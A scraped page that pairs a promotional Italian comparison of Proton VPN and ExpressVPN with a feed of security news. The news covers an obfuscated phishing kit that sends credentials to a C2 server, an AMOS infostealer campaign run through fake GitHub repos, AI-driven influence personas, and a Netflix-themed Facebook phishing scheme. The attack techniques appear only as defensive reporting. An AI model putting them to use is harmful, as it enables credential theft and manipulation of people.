Fire TV Stick, Chromebook, Android TV, Apple TV 🔐 Sicurezza: Crittografia AES-256 con supporto a WireGuard e OpenVPN 👨💻 Assistenza 24/7: e-mail e ticket (risposta entro 24 ore) 🏢 Sede legale: Svizzera 🔥 Offerte attive: SCONTO fino al 70% Proton VPN rappresenta un modello di posizionamento unico, focalizzato sulla sovranità dei dati e sulla privacy radicale. Sviluppato da Proton AG (la società fondata dagli scienziati del CERN con sede in Svizzera), il servizio beneficia della rigida legislazione elvetica sulla protezione dei dati, al di fuori delle giurisdizioni 5/9/14 Eyes. Nel corso del primo semestre 2026, Proton ha attuato un’espansione infrastrutturale massiva che ha ridefinito gli equilibri di mercato, superando la soglia dei 20.000 server attivi distribuiti in oltre 145 Paesi. Nel comparto delle reti private virtuali, garantire elevate velocità di trasmissione a fronte di un’architettura focalizzata sulla massima sicurezza (come il passaggio obbligato attraverso i server schermati Secure Core) rappresenta una sfida ingegneristica complessa. Per mitigare il fisiologico degrado della banda causato dalla crittografia, Proton VPN ha implementato una combinazione di ottimizzazioni hardware e soluzioni software proprietarie: Tecnologia VPN Accelerator: è il pilastro prestazionale del provider. Si tratta di un set di algoritmi proprietari che riscrive il modo in cui il software gestisce l’elaborazione dei pacchetti dati a livello di CPU. Sfruttando l’elaborazione multi-core e riducendo l’inefficienza dei canali di instradamento del protocollo TCP, questa tecnologia riduce la latenza latente e ottimizza il throughput. Nei test su connessioni a lungo raggio (ad esempio, collegamenti transoceanici tra Europa e Stati Uniti), l’acceleratore riduce i colli di bottiglia del routing incrementando le velocità di trasferimento dichiarate fino al 400%. Infrastruttura di rete interamente a 10 Gbps: la massiccia flotta hardware di Proton, che nel 2026 ha superato i 20.000 server, è interamente supportata da schede di rete con capacità di banda a 10 Gbps (Gigabit al secondo). Questo dimensionamento infrastrutturale permette ai nodi della rete di gestire enormi picchi di traffico parallelo senza andare in saturazione (server crowding), garantendo una velocità di download stabile e linearità nelle sessioni ad alto consumo di banda, come lo streaming di flussi video in 4K e lo scambio di dati P2P. Integrazione avanzata di WireGuard: come i principali competitor di fascia premium, Proton ha integrato l’architettura open-source WireGuard come protocollo predefinito su tutte le sue applicazioni. La snellezza del codice di WireGuard, unita alle ottimizzazioni infrastrutturali elvetiche, permette di registrare tempi di handshake (connessione iniziale al server) inferiori al secondo e di mantenere una stabilità di throughput ideale anche su reti mobili o instabili. Di seguito si propone l’analisi analitica della struttura commerciale, suddivisa per cicli di fatturazione e livelli di servizio Proton VPN Free, Proton VPN Plus, Proton VPN Unlimited. I prezzi indicati rappresentano il costo mensile equivalente (IVA esclusa). Proton non applica la formula dei mesi extra gratuiti, ma punta su un forte sconto sul canone mensile proporzionale alla durata del contratto. L’architettura di rete di Proton si differenzia per alcune soluzioni ingegneristiche orientate alla resilienza e alla trasparenza: Codice Open-Source al 100%: tutte le applicazioni client di Proton (Windows, macOS, iOS, Android, Linux) sono completamente open-source e sottoposte regolarmente ad audit di sicurezza pubblici indipendenti. Tecnologia Secure Core: È un sistema proprietario di Double VPN. Il traffico dell’utente viene instradato attraverso server di proprietà esclusiva posizionati in data center blindati sotterranei (in Svizzera, Islanda e Svezia) prima di raggiungere il server di uscita, proteggendo la connessione anche da attacchi di correlazione a livello statale. VPN Accelerator: un set di algoritmi di rete avanzati che ottimizzano l’elaborazione dei pacchetti e riducono l’inefficienza dei canali di instradamento del TCP. Nei collegamenti a lunghissimo raggio, questa tecnologia incrementa la velocità di trasferimento fino al 400%. Politica No-Log Svizzera: zero tracciamento dei dati di navigazione o dei metadati, con protezione legale diretta contro le richieste di intercettazione non convalidate da un tribunale federale svizzero. Rappresenta l’unica opzione di mercato di livello premium a offrire traffico dati illimitato a costo zero. Limitazioni operative: Supporto per un massimo di 1 dispositivo connesso alla volta. Rete: Accesso limitato a server distribuiti in 10 Paesi (assegnati in modo casuale dall’algoritmo per evitare sovraccarichi). Performance: Velocità definita “media” a causa del tasso di congestione dei nodi gratuiti nei picchi di traffico. Non include l’accesso allo streaming o al P2P. Configurazione incentrata sulle massime prestazioni di rete e sullo sblocco multimediale. Connessioni simultanee: Supporto fino a 10 dispositivi attivi in parallelo. Rete Premium: accesso completo alla flotta di oltre 20.000 server (fino a 10 Gbps) dislocati in 145 Paesi, con supporto nativo per il download P2P/BitTorrent. NetShield: modulo firewall avanzato basato su DNS che blocca malware, inserzioni pubblicitarie e tracker di profilazione a livello di rete. Streaming avanzato: Algoritmi dedicati per l’elusione dei blocchi geografici sulle principali piattaforme di streaming (Netflix, Prime Video, Disney+). Rappresenta la massima espressione dell’ecosistema Proton, configurandosi come una suite di produttività aziendale e personale crittografata end-to-end. Include tutte le funzionalità del piano VPN Plus, estendendo la licenza agli altri prodotti premium del brand: Proton Mail: account email crittografato premium con supporto per 3 domini personalizzati, 15 alias email e invio illimitato di messaggi. Proton Drive: spazio di archiviazione in cloud cifrato da 500 GB, con funzioni di sincronizzazione e condivisione file sicura. Proton Pass: gestore di password avanzato con supporto 2FA integrato, caveau multipli illimitati, monitoraggio del dark web per i data leak e alias email “Hide-my-email” illimitati. Proton Calendar: fino a 25 calendari personali o aziendali completamente crittografati. Proton adotta una politica di rimborso proporzionale (prorated 30-day money-back guarantee): se l’utente recede entro i primi 30 giorni, riceve il rimborso calcolato sull’effettivo residuo dei giorni non utilizzati del pacchetto. Per i team aziendali è inoltre disponibile la linea Proton VPN for Business, che integra una console centralizzata per la gestione delle identità degli impiegati e la scalabilità dei dispositivi protetti. 🌍 Server: 3000 server in 105 paesi 📱 Massimo dispositivi: 8 🆓 Versione Free: Garanzia rimborso di 30 giorni 💻 Compatibilità: Windows, macOS, Android, iOS, Linux 🔐 Sicurezza: IKEv2, OpenVPN 👨💻 Assistenza 24/7: ✔ 🏢 Sede legale: Isole Vergini Britanniche 🔥 Offerte attive: SCONTO fino al 49% + 3 mesi GRATIS ExpressVPN si basa sul protocollo Lightway che utilizza una struttura di codice minimalista, basata su tecnologie open source, che permette tempi di connessione quasi istantanei e un passaggio fluido tra diverse reti, come Wi-Fi e 5G, senza disconnessioni. ExpressVPN ha sviluppato internamente un proprio protocollo denominato Lightway, progettato specificamente per massimizzare il throughput dei dati. Efficienza del codice: Lightway è composto da circa 3.000 righe di codice, una struttura estremamente snella rispetto alle decine di migliaia di righe di OpenVPN. Meno righe di codice significano un minor consumo di risorse della CPU dell’utente, riducendo drasticamente la latenza di calcolo. Connessione istantanea: il protocollo elimina i tempi di handshake prolungati; la connessione al server avviene spesso in meno di un secondo. Gestione dei cambi di rete: Lightway non interrompe la sessione quando il dispositivo passa, ad esempio, dalla rete Wi-Fi a quella cellulare 4G/5G, evitando i classici tempi morti di riconnessione delle VPN tradizionali. I componenti critici del software di ExpressVPN, in particolare all’interno del protocollo Lightway, sono scritti in Rust. Dal punto di vista ingegneristico, Rust è un linguaggio di programmazione focalizzato sulla sicurezza e sulle prestazioni concorrenti. Garantisce una gestione della memoria estremamente efficiente a basso livello, il che si traduce in una velocità di elaborazione dei pacchetti dati nettamente superiore rispetto ai software scritti in linguaggi più datati o meno ottimizzati. Le prestazioni di velocità dipendono direttamente dalla capacità dei nodi di rete di gestire picchi di traffico simultanei senza andare in saturazione. Server operanti solo su RAM: la tecnologia TrustedServer prevede che l’intero sistema operativo e i moduli software vengano eseguiti esclusivamente sulla memoria volatile (RAM) dei server, rinunciando ai dischi rigidi tradizionali. La RAM offre velocità di lettura/scrittura infinitamente superiori rispetto ai supporti di memoria magnetica o a stato solido (SSD). Infrastruttura di banda: il provider ha progressivamente aggiornato la propria rete globale (dislocata in 105 Paesi) introducendo server con schede di rete da 10 Gbps (Gigabit al secondo), in grado di smaltire enormi volumi di traffico parallelo senza generare colli di bottiglia (throttling infrastrutturale). L’algoritmo di instradamento di ExpressVPN seleziona automaticamente il percorso di rete più efficiente tra la posizione dell’utente e il server di destinazione. Inoltre, la capacità di mascherare automaticamente il traffico VPN (facendolo apparire come normale traffico HTTPS) impedisce ai fornitori di servizi Internet (ISP) di applicare il cosiddetti shaping o limitazioni mirate della banda, una pratica comune quando gli ISP rilevano un uso intensivo di dati (come lo streaming in 4K o il P2P) attraverso protocolli VPN standard. ExpressVPN riesce a mantenere elevati standard di velocità poiché ha verticalizzato lo sviluppo della propria tecnologia, unendo l’efficienza software del protocollo Lightway (in codice Rust) a un’infrastruttura hardware basata interamente su memoria RAM ad alta velocità. Nel mercato globale della protezione dei dati, la strategia di posizionamento di ExpressVPN evidenzia un’evoluzione speculare a quella dei principali competitor: il passaggio da un singolo software di crittografia a una suite di sicurezza digitale diversificata. L’ecosistema attuale integra servizi di inoltro email privato (ExpressMailGuard), gestione password (ExpressKeys), connettività internazionale (eSIM di holiday.com) e un modulo di intelligenza artificiale orientato alla privacy (ExpressAI). Indipendentemente dal livello di prezzo o dalla durata contrattuale sottoscritta, l’architettura di rete ExpressVPN garantisce specifici standard minimi prestazionali: Infrastruttura di Rete: copertura geografica distribuita su 105 Paesi, supportata dalla tecnologia TrustedServer (i server operano esclusivamente su memoria RAM, determinando la cancellazione automatica dei dati a ogni riavvio). Protocollo e Cifratura: Utilizzo del protocollo proprietario Lightway combinato con protezione crittografica post-quantistica e crittografia AES a 256 bit. Sicurezza Integrata: Inclusione del blocco DNS/IP leak, funzionalità di Kill Switch e modulo di offuscamento automatico del traffico per l’elusione di restrizioni di rete locali. Garanzia e Recesso: Clausola money-back di 30 giorni valida per tutti i nuovi utenti. La scelta di una VPN veloce non può essere uguale per tutti: dipende fortemente dalle proprie abitudini digitali, dal tipo di attività che si svolge online e dalle priorità tra sicurezza, stabilità e prestazioni. La velocità non è più soltanto un parametro tecnico ma un requisito fondamentale per garantire continuità nelle comunicazioni, qualità nello streaming e produttività nel lavoro da remoto. Una VPN realmente performante deve sapersi adattare al contesto d’uso, mantenendo la stessa efficienza sia quando si collega un singolo dispositivo, sia quando si opera in un ambiente multi-connesso, tra computer aziendali, smartphone e reti pubbliche. L’elemento chiave non è solo la potenza dei server o la modernità del protocollo, ma la capacità del servizio di offrire coerenza e affidabilità nel tempo, evitando fluttuazioni improvvise della banda o interruzioni della connessione. Per chi lavora da remoto la qualità di una VPN si misura nella sua capacità di mantenere una connessione stabile e continua durante le videochiamate, i trasferimenti di file e l’accesso ai sistemi aziendali. Una VPN adatta allo smart working deve ridurre al minimo la latenza perché anche pochi secondi di ritardo possono compromettere la fluidità di una riunione su piattaforme come Zoom, Microsoft Teams o Google Meet. I protocolli più moderni, come NordLynx o Lightway, permettono di stabilire connessioni quasi istantanee e di passare da una rete Wi-Fi a una connessione mobile senza disconnessioni. Questo è particolarmente utile per chi lavora in movimento o viaggia spesso tra Paesi diversi. Inoltre, una VPN veloce consente di accedere ai server aziendali o ai documenti condivisi in cloud senza rallentamenti, migliorando anche la sicurezza dei dati sensibili grazie alla crittografia end-to-end. Nel lavoro da remoto, dove la connessione è la principale risorsa, una VPN efficiente non è solo una protezione in più, ma un vero alleato quotidiano. Chi utilizza la VPN per accedere a contenuti internazionali – dalle piattaforme di streaming ai marketplace, dai servizi digitali alle notizie – ha bisogno di un servizio che offra un ampio numero di server distribuiti nel mondo e che riesca a garantire velocità elevate anche sulle lunghe distanze. Una VPN veloce in questo caso significa poter guardare un film in 4K su una piattaforma straniera senza interruzioni, o utilizzare servizi che normalmente sarebbero bloccati nel proprio Paese. La differenza la fanno l’infrastruttura di rete e la gestione intelligente del traffico: le VPN più avanzate instradano i dati attraverso server ottimizzati per lo streaming o per il gaming, evitando i colli di bottiglia dovuti al sovraccarico. Una VPN ad alta velocità è ciò che consente di sfruttare Internet in tutta la sua estensione garantendo libertà di scelta e continuità d’uso. Che si tratti di guardare contenuti globali, partecipare a eventi in diretta o accedere a piattaforme professionali riservate a determinate aree geografiche, la qualità della VPN determina la qualità stessa dell’esperienza online.

cybersecurity360.itOct 17, 2025extracted

Under the Hood: analisi tecnica di un payload di phishing adattivo

Under the Hood: analisi tecnica di un payload di phishing adattivo Bollettino BL01/250925/CSIRT-ITA Sintesi Questo CSIRT ha recentemente analizzato i meccanismi di una sofisticata campagna di phishing, caratterizzata da codice offuscato progettato per sottrarre informazioni sensibili alle potenziali vittime, che interagisce attivamente con un server di comando e controllo (C2) al fine di aumentare la credibilità dell’attacco. Descrizione e potenziali impatti Questo CSIRT ha recentemente analizzato i meccanismi di una sofisticata campagna di phishing, veicolata tramite un link verso un documento da visionare tramite il servizio lecito PDFfiller (Figura 1). Il documento in questione si presenta come un presunto file PDF (Figura 2), apparentemente legittimo, che per essere visualizzato richiede un'autenticazione da parte dell'utente. A tal fine, viene proposto alla vittima un link che la indirizza verso una pagina di login malevola (Figura 3), progettata per simulare un ambiente di autenticazione lecito e carpire le credenziali di accesso. La suddetta schermata di login contiene del codice JavaScript offuscato volto a sottrarre informazioni sensibili agli utenti che, una volta eseguito, interagisce attivamente con un server di comando e controllo (C2), il quale guida dinamicamente il comportamento della pagina, nel tentativo di aumentare la credibilità dell’attacco attraverso risposte contestuali e flussi simulati di autenticazione. Di seguito è riportata un’analisi dei meccanismi utilizzati per eseguire il payload malevolo. Analisi del codice offuscato Il codice della landing page di login presenta un payload offuscato diviso in 2 parti: la prima deputata a verificare che non vi siano controlli di debug attivi: in caso positivo l’utente verrà reindirizzato verso un noto sito di eCommerce. In caso contrario il codice prosegue con l’esecuzione della seconda parte (Figura 3) che contiene la logica malevola. La decodifica avviene a runtime e prevede la concatenazione del contenuto di più variabili contenenti ognuna una porzione in Base64 del payload cifrato finale. Le variabili hj e pp contengono rispettivamente il vettore di inizializzazione (IV) e la chiave AES di decrittazione. L’algoritmo prevede prima la decodifica del payload da Base64 e successivamente la decrittazione tramite AES; infine converte l’array di byte decifrati in una stringa UTF-8 per ottenere il codice HTML/JavaScript in chiaro (Figura 5), pronto per essere eseguito durante le fasi di rendering della pagina. Proseguendo l’analisi del codice deoffuscato, è stato individuato un secondo stadio di offuscamento: il testo contiene un ulteriore payload incorporato, codificato in Base64 (Figura 6). Questa parte contiene il core del payload che contiene la logica di esecuzione e comunicazione con il C2. Analisi del Core Il payload analizzato rappresenta un kit di phishing avanzato che combina interfacce predefinite, un server C2 e offuscamento multi-stadio per massimizzare l’efficacia dell’attacco. La strategia server-side consente di variare in tempo reale l’esperienza dell’utente, mostrando schermate diverse e adattando il comportamento del sito in base alle risposte ricevute, come richieste OTP, errori, blocchi temporanei o redirect finali. Tutti gli scenari e le logiche necessarie per il furto di credenziali sono già incorporati nel codice, rendendo il phishing credibile e difficile da rilevare con analisi statiche. Di seguito un elenco delle peculiarità analizzate: 1.1 Simulazione di interfacce di login Genera interfacce di login opportunamente predisposte, che ripropongono loghi e riferimenti di servizi legittimi (Microsoft, Okta, GoDaddy, Apple o Netflix). Implementa animazioni e transizioni per aumentare la credibilità e l’autenticità dell’interfaccia. 1.2 Raccolta ed esfiltrazione delle credenziali Le credenziali inserite dall’utente vengono cifrate localmente con AES (modalità CBC) usando una chiave statica definita nel codice (1234567890123456). I dati cifrati vengono successivamente inviati al server C2 tramite richieste HTTP di tipo POST (Figura 7). Il server C2 risponde con payload cifrati che il client decodifica localmente e che contengono istruzioni per veicolare il flusso di esecuzione (vds punto 1.3). 1.3 Interazione avanzata e scenari predefiniti Il codice contiene scenari predefiniti già integrati: login fallito, richiesta OTP, verifica e-mail/telefono, blocco account, redirect finale, Ogni possibile risposta del server (es. otp sent, approved, error, protectaccount) attiva una sezione specifica del comportamento già presente nella pagina HTML. Il portale simula vari metodi di autenticazione: OTP via SMS, app Authenticator, chiamate vocali, ecc. 1.4 Evasione e offuscamento Le URL generate per la comunicazione verso il C2 sono dinamiche e casuali, rendendo più difficile il rilevamento automatico delle richieste POST. Il codice rileva le caratteristiche del browser per adattare comportamenti e interfacce. Sono presenti strumenti che controllano i dati inseriti dall’utente per verificare se contengono domini presenti in una lista nera, impedendo così l’elaborazione di input provenienti da determinati siti. 2. Tracciamento, telemetria e temporizzazione Il client tiene traccia se l’utente ha già visitato la pagina tramite la variabile pagevisitedalready; se è la prima visita invia un evento pagevisit con btoa(userAgent) al server per identificare utenti unici. Sono presenti timer di disconnessione: dopo un periodo di inattività, il portale mostra messaggi come “We didn’t hear from you” o “Try again later” per simulare timeout e aumentare la pressione psicologica. Sono altresì previsti messaggi di errore simulati: “Too many attempts”, “We didn’t hear from you”, “account locked” - utilizzati per esortare l’utente a riprovare, fornire ulteriori dati o variare il canale di autenticazione. Infine, è previsto anche un meccanismo di blocco temporaneo a seguito di troppi tentativi. Vengono visualizzate schermate che simulano il blocco dell’account, utili a persuadere la vittima nel seguire istruzioni aggiuntive (es. fornire e-mail alternativa, telefono, ecc.). 3. Tipologie di interfacce presenti nel codice PDF mode (uname_pdf, sections_pdf): simula di ambienti documentali, utile per phishing legato a documenti da visualizzare o firmare. DOC mode (uname_doc, sections_doc): simula un ambiente tipo Microsoft Word/Office. Live mode (*_live): fornisce interfacce dinamiche per prodotti Microsoft, quali MS 365 e Outlook, con flussi di autenticazione avanzati (OTP, Authenticator). Standard mode (uname, pwd, otp): mostra un’interfaccia generica, utilizzata in contesti non specifici. Azioni di mitigazione Gli utenti e le organizzazioni possono far fronte a questa tipologia di attacchi verificando scrupolosamente le e-mail ricevute e attivando le seguenti misure aggiuntive: fornire periodiche sessioni di formazione finalizzate a riconoscere il phishing diffidando da comunicazioni inattese; non accedere a collegamenti internet o a relativi contenuti esterni se non si è certi dell’affidabilità della risorsa; accertarsi della legittimità dei siti che richiedono l’inserimento dei propri dati d’accesso; abilitare l’autenticazione a più fattori (MFA) su tutti gli account aziendali e personali per ridurre l’impatto di eventuali credenziali compromesse; utilizzare soluzioni di filtraggio e-mail avanzate che analizzano allegati, link e domini sospetti prima che raggiungano l’utente finale; monitorare e bloccare domini e URL sospetti a livello di firewall o proxy, riducendo la possibilità di comunicazioni con server di phishing; verificare la presenza di certificati SSL/TLS validi sui siti di login e diffidare di quelli privi o scaduti; isolare e analizzare link o allegati sospetti in sandbox o ambienti controllati prima di aprirli; implementare alerting e log centralizzati per rilevare tentativi di accesso non autorizzati o comportamenti anomali degli utenti; aggiornare costantemente software e browser per ridurre il rischio di sfruttamento di vulnerabilità note.

acn.gov.itSep 25, 2025extracted

Widespread Infostealer Campaign Targeting macOS Users

Threat actors are impersonating known brands in an ongoing, widespread campaign aimed at infecting macOS users with information stealer malware, LastPass warns. As part of the infection chain, the hackers are relying on fraudulent GitHub repositories claiming to provide macOS software from various companies and use search engine optimization (SEO) so that links to the repositories appear at the top of search pages. “In the case of LastPass, the fraudulent repositories redirected potential victims to a repository that downloads the Atomic infostealer malware,” LastPass says. LastPass identified two GitHub sites impersonating its brand, which were posted on the Microsoft-owned code-sharing platform on 16 September, and which have been taken down since. Both were posted by a user named ‘modhopmduck476’ and contained links claiming to enable users to install ‘LastPass on MacBook’, but redirected to the same malicious page. A page claiming to offer ‘LastPass Premium on MacBook’ was redirecting to macprograms-pro[.]com, where users were instructed to copy and paste a command into a terminal window. The command initiates a CURL request to an encoded URL, resulting in an ‘Update’ payload being downloaded to the Temp directory. The payload was the Atomic macOS Stealer (AMOS) infostealer, which has been used in numerous attacks since 2023. In August, CrowdStrike warned of an increase in fraudulent advertisements delivering a variant of AMOS called SHAMOS. LastPass has observed the threat actors impersonating financial institutions, password managers, technology companies, AI tools, cryptocurrency wallets, and other businesses. To evade detection, the threat actors used multiple GitHub usernames to create other fake GitHub pages, which followed a similar naming pattern, where the name of the targeted company and Mac-related terminology were used. The campaign observed by LastPass has been ongoing since at least July, when Deriv security researcher Dhiraj Mishra warned that Homebrew users were targeted with malicious ads leading to a fake GitHub repository. The attacks, Mishra pointed out, exploited users’ trust in Google Ads and GitHub, and installed the official Homebrew application to hide the execution of a malicious payload in the background. Related: Telegram Rivaling Tor as Home to Criminal ‘Forums’ Related: Apple, Netflix, Microsoft Sites ‘Hacked’ for Tech Support Scams Related: Apple Rolls Out iOS 26, macOS Tahoe 26 With Patches for Over 50 Vulnerabilities Related: Apple Sends Fresh Wave of Spyware Notifications to French Users

securityweek.comSep 22, 2025extracted

The GoLaxy papers: Inside China’s AI persona army

The GoLaxy papers: Inside China’s AI persona army On a jet-lagged April morning earlier this year, Brett Goldstein’s phone buzzed with a message from a trusted colleague asking him to check out a link he’d just found. Goldstein, a former government technologist and now a special adviser at Vanderbilt University’s Institute for National Security, was in the middle of a conference. Later, back in his hotel room, he scrolled through to the message again. The note was insistent and included a link. “I hate links,” he said. Still, he was curious, so he scanned the link for malware, ran a few checks, and clicked — and what appeared on his screen was a trove of PDFs all written in Mandarin. There were pages of dense Mandarin characters, something that looked like technical schematics, and then, strangely, photos of prominent Americans. “At first I thought it was spam,” Goldstein remembered. But as he scrolled through the files, he realized it was something else: a leak. He had a speech in the morning, but he couldn’t resist cutting and pasting chunks of the document into a large language model to see what he really had. “I’d tell myself, ‘I need to go to sleep,’ and then, ‘But I need to see what this is.’ Over and over again,” he said. The cache appeared to be internal documents from a little-known Beijing-based company called GoLaxy, and they seemed to lay out a chilling new approach to information warfare: an army of AI personas, engineered to look like us, think like us, and win our trust. Not the blunt-force troll farms of Russia, but something intimate, surgical, and already operational. Hour after hour, he fed chunks of Mandarin text into the model. Schematics, PowerPoints, internal briefs spilled out. The theme was unmistakable: persuasion. “It turns out it’s talking about a sentiment system … in China,” he said. So someone is trying to convince someone else to have a certain view.” Digital doubles The most startling sections described “personas.” Not bots recycling slogans, but carefully constructed digital identities. “I start seeing mentions of Hong Kong and Taiwan and I’m scrolling through it and I’m like, I think they’re talking about personas here,” Goldstein said. These weren’t crude avatars. They were digital doubles — plausible enough to slip into a social feed, argue politics, offer consolation. They didn’t just broadcast; they listened and adapted. “What we’re seeing with artificial intelligence and generative AI is you can really create detailed personas that are, in theory, tailored to the individual,” he said. Goldstein recognized the technique because he had been studying rough versions of personas for years. “A decade ago, I would create clusters of people — Midwest, white, male, whatever politics, this economic bracket,” he said. “You’d have 10, 20 variables and that was considered good enough.” Back then, the archetypes were blunt: white guys in Ohio, single moms in Michigan, retirees in Florida. The Chinese approach, by contrast, was precise — personas handcrafted for a single target. And according to the 399 GoLaxy pages, they were already at work in Hong Kong, in Taiwan, and possibly in the United States. “When I saw photos of Americans in the deck, I thought, oh boy. We’ve come across something that’s a threat,” he said. “We need to get this out as fast as we can to help educate people and start thinking about defenses.”Goldstein knew he couldn’t tackle this alone. “It required more than one Brett to make this happen,” he said. So he turned to Brett Benson, a Vanderbilt professor of political science who had lived in Taiwan, spoke Mandarin, and studied the dynamics of armed conflict. When Goldstein first shared the files, Benson was cautious. “Initially I was very skeptical,” he said. “I told him I didn’t really know what to make of it and I needed to spend some more time with it.” In the leaked documents, GoLaxy described itself as a private enterprise. But as Benson dug deeper there was more to it than that: the company had been founded by the Chinese Academy of Sciences, it employed nearly 1,000 people, and, according to the documents, maintained ties to both military and civilian intelligence. “They claim in the documents that they serve Chinese national security and national strategy interests and goals,” Benson said. Before the machines For years, Chinese information operations had been relatively clumsy. During the 2019 protests in Hong Kong, state-backed accounts on Twitter and Facebook pushed official slogans and clunky memes. They were easy to spot, often recycling stock photos and repeating identical lines. American officials dismissed them as amateurish compared to Russia’s Internet Research Agency, which had seeded more sophisticated narratives during the 2016 election. But even then, China’s ambitions were clear. It poured resources into censorship and surveillance at home, while experimenting with influence abroad. What the GoLaxy documents suggest is that Beijing has leapt from imitation to innovation — replacing mass-produced slogans with AI-tailored whispers, aimed at the weak spots of individual minds. The cache listed dossiers on 2,000 American public figures, thousands of right-wing influencers, and at least 117 Republican members of Congress. Screenshots offered proof of concept: names and faces instantly recognizable. “Yeah, that was a little bit disturbing,” Benson said. And he and Goldstein thought: if GoLaxy could do this with politicians and influencers, what could they do with ordinary citizens? The method was straightforward and relentless: scrape millions of data points from social platforms, build psychological profiles, and use generative AI — China’s version of ChatGPT, called DeepSeek — to animate them. “These are fake but highly realistic AI-generated bots,” Benson explained. “It’s a made-up online profile that looks like a real person, interacts like a real person. Much more subtle than the Russian operations we saw in the 2016 election. They’re very, very tailored.” What unsettled them most was their fluidity. “The thing that really blew me away is the adaptability of the personas,” Benson said. “That’s the part that’s kind of spooky. They’re subtle, realistic, human-like, and their ability to engage and shape narratives.” The rainy day For years, U.S. officials puzzled over China’s massive data heists — from the breach of the Office of Personnel Management in 2015 to the hack of Starwood hotels three years later. The explanation was always the same: Beijing was hoovering up all this data for a rainy day. Benson believes the day has come. “That was the big revelation to me … the data mining efforts paired with AI have the capacity to engage in a front of cognitive warfare that I didn’t really think about before,” he said. “I think this is the new frontier in national security.” Then, when the researchers prepared an opinion piece for The New York Times this summer, the paper reached out to GoLaxy for comment. Almost immediately, sections of the company’s website began to vanish. “Pages were disappearing,” Goldstein said. “We were watching in almost real time and just thing after thing was being deleted. There was a whole section on government relationships, and that just disappeared.” GoLaxy, for its part, denied everything when Times reporters reached out for comment. They did not respond to The Record’s request for more detail. What is clear is the deletions were aimed at changing the narrative. The warning Goldstein now spends his time developing ways to distinguish AI personas from humans. “I just wanna understand what’s an AI versus a human,” he said. “Because the alternative is, if we can’t solve this and we don’t know human versus machine, we’re in a lot of trouble.” Benson, for his part, is focused on getting the public to understand what’s at stake. “That it’s here,” he explained. When asked what “it” meant, he didn’t hesitate: “AI-generated propaganda, or AI-generated information manipulation is here. “When I use ChatGPT, I increasingly trust it. I think a lot of people increasingly trust it. But there are other forums where AI is being used to manipulate information, to sow doubt, to generate disinformation, and disorientation. I wish more people understood that — that’s not a science fiction future. That is here.” Dina Temple-Raston is the Host and Managing Editor of the Click Here podcast as well as a senior correspondent at Recorded Future News. She previously served on NPR’s Investigations team focusing on breaking news stories and national security, technology, and social justice and hosted and created the award-winning Audible Podcast “What Were You Thinking.” Erika Gajda is a producer for Click Here. Her work has included documentaries, nonfiction TV, and podcasts for the BBC, National Geographic, Netflix, Channel 4, and Sony Music Entertainment. In a previous life, Erika worked behind a microscope studying insect biology.

therecord.mediaSep 19, 2025extracted

Major IPTV Piracy Network Uncovered Spanning 1100 Domains

A massive IPTV privacy network has been uncovered distributing unlicensed content from major brands including Apple TV, Disney+, HBO, Netflix and more

infosecurity-magazine.comSep 3, 2025extracted

Man Jailed for 20 Months After Compromising Millions of Accounts

A Rotherham man has been sentenced to 20 months behind bars for a range of hacktivism-related offenses. Al-Tahery Al-Mashriky, 26, was arrested in 2022 by National Crime Agency (NCA) officers after they were tipped off by US investigators. Most of his offending was linked to the unauthorized access to and defacement of official websites including the Yemen Ministry of Foreign Affairs, the Yemen Ministry of Security Media and Israeli Live News. After hacking the sites, he would download tools to scan for usernames and vulnerabilities, the NCA claimed. His activities were linked to hacktivist groups such as the Yemen Cyber Army. Although many of his targets were deliberately chosen for having poor security, Al-Mashriky claimed on one cybercrime forum to have compromised as many as 3000 in a single three-month period in 2022, the NCA said. However, he didn’t just focus on low-level web defacements. NCA officers found the personal data of over four million Facebook users on one of his laptops, as well as usernames and passwords for services like Netflix and Paypal. These hinted at a more serious plan to commit large-scale identity fraud or potentially sell the data on to others. Al-Mashriky was due to stand trial for 10 Computer Misuse Act offenses at Sheffield Crown Court in March but pleaded guilty to nine of them on March 17. He was sentenced in the same court on Friday. “Al-Mashriky’s attacks crippled the websites targeted, causing significant disruption to their users and the organisations, just so that he could push the political and ideological views of the ‘Yemen Cyber Army,’” argued NCA National Cyber Crime Unit boss, Paul Foster. “He had also stolen personal data that could have enabled him to target and defraud millions of people. Cybercrime can often appear faceless, with the belief that perpetrators hide in the shadows and can avoid detection. However, as this investigation shows, the NCA has the technical capability to pursue and identify offenders like Al-Mashriky and bring them to justice.”

infosecurity-magazine.comAug 18, 2025extracted

Netflix scammers target jobseekers to trick them into handing over their Facebook logins

In what seems a phishing attack targeted at a certain audience, scammers are impersonating Netflix and reaching out to marketing staff. The initial mail looks like what you might expect from a headhunter or a human resources (HR) recruitment specialist. “I hope this note finds you well,” the email begins. “Your reputation as a visionary marketing leader has caught out attention, and I’d like to share an extraordinary opportunity with you at Netflix.” Undoubtedly this email is crafted by AI and based on real-life examples. The role offered in the email as VP of Marketing would be a fitting role for the person that received this email, so it looks as if the scammers have done their research before reaching out. Replying to the initial mail—which is not recommended, unless you like letting scammers know you exist and encouraging them to send you more phishes—got us one step closer to landing the exciting new job at Netflix. We received an invitation to set up an interview with the ‘Netflix HR team’. Following the link under “Schedule Interview” gets us a block by Malwarebytes web protection. Again, not something we would want our readers to do but in the interest of learning more about the scam, we bypass that block and proceed to the website. We find that there are 20 openings, all more or less in the same fields of social media and marketing. The website itself is a mix of content copied from the actual Netflix site and of the phishing campaign. Back to scheduling our interview. We’re given an option to choose our interview slot: Regardless of which of the two buttons you use on the screen, you’ll be asked to sign in to your existing “Career Profile” or create a new one. At this stage, all red flags should go up. It doesn’t matter if you choose “Continue with Facebook” or whether you enter your email and click “Continue with Email” the next screen will ask you to sign in to your Facebook account. The only difference is that the second option fills out your email in the login screen. That doesn’t make a lot of sense—Facebook is not known to keep track of your calendar. It does keep track of a lot of things, but your meeting schedule isn’t one of them. Besides, if you look at the address bar, you’ll see I’m still at the fake Netflix site. However, it’s very normal practice to offer the option of logging in with Facebook on third party sites, so it would be understandable for the jobseeker to click that link. When you enter the credentials and click on “Log In”, it will take a while and then you’ll be notified that “The password you’ve entered is incorrect. Please try again!” This login page is also the part that makes this attack a very sophisticated one. The phishers use a websocket method that allows them to intercept submissions live as they are entered. This allows them to try the credentials and if your password works, they can log into your real Facebook account within seconds. They could potentially ask for multi-factor authentication (MFA) confirmation if that’s necessary, too. Imagine that the phisher can instantly see the credentials you submitted, tests them at the real Facebook login page, and subsequently sends you the appropriate response. (In my case “wrong password” since I had no intention of feeding them valid credentials.) You’d have no idea that they were accessing your Facebook account and they’d have bought some time to log you out, spam your friends, or whatever else they wanted to do with your account. We often see phishing campaigns like these that are 